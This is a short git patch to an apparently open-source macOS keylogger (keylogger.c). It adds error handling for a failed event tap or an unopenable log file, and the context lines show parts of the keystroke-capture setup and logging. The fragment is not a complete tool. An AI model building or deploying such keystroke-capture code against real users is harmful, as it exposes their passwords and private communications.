From d701194d7e5cd7854c47c85787db8a874dcc7a8a Mon Sep 17 00:00:00 2001 From: Casey Scarborough Date: Thu, 27 Feb 2014 17:16:44 -0500 Subject: [PATCH] Exit program when unable to open log file. --- keylogger.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/keylogger.c b/keylogger.c index 3a62b5c..bda4216 100644 --- a/keylogger.c +++ b/keylogger.c @@ -10,7 +10,7 @@ int main(int argc, const char *argv[]) { // Exit the program if unable to create the event tap. if(!eventTap) { - printf("Unable to create event tap.\n"); + fprintf(stderr, "ERROR: Unable to create event tap.\n"); exit(1); } @@ -19,6 +19,7 @@ int main(int argc, const char *argv[]) { CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); CGEventTapEnable(eventTap, true); + // Clear the logfile if clear argument used or log to specific file if given. if(argc == 2) { if(strcmp(argv[1], "clear") == 0) { @@ -35,6 +36,11 @@ int main(int argc, const char *argv[]) { time_t result = time(NULL); logfile = fopen(logfileLocation, "a"); + if (!logfile) { + fprintf(stderr, "ERROR: Unable to open log file. Ensure that you have the proper permissions.\n"); + exit(1); + } + // Output to logfile. fprintf(logfile, "\n\nKeylogging has begun.\n%s\n", asctime(localtime(&result))); fflush(logfile);